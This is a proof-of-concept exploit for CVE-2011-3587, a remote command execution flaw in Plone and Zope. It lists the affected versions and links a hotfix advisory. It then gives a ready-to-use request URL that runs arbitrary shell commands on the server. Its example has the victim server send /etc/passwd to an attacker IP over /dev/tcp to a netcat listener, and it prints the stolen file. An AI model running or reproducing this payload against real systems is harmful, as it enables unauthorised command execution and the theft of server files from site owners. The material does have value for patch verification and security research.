Plone and Zope - Remote Command Execution (PoC)

# Exploit Title: Plone - Remote Command Execution

# Date: 12/21/2011

# Author: Nick Miles (www.npenetrable.com)

# Tested on: 12/21/2011

# CVE : CVE-2011-3587



Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone

4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x.

Versions Not Affected: Versions of Plone that use Zope other than Zope

2.12.x and Zope 2.13.x.



Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928



You can execute any command on the remote Plone server with the

following request

if the server is Unix/Linux based (Note: you won't get returned the

results of the command):



http://PLONE_SITE/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=<command

to run>



Example:



Listen for a connection:

$ nc -l 4040



On victim, visit:

http://victim/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=cat%20/etc/passwd%20%20%3E%20/dev/tcp/172.20.6.218/4040



Response:

$ nc -l 4040

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

plone:x:500:500::/home/plone:/bin/false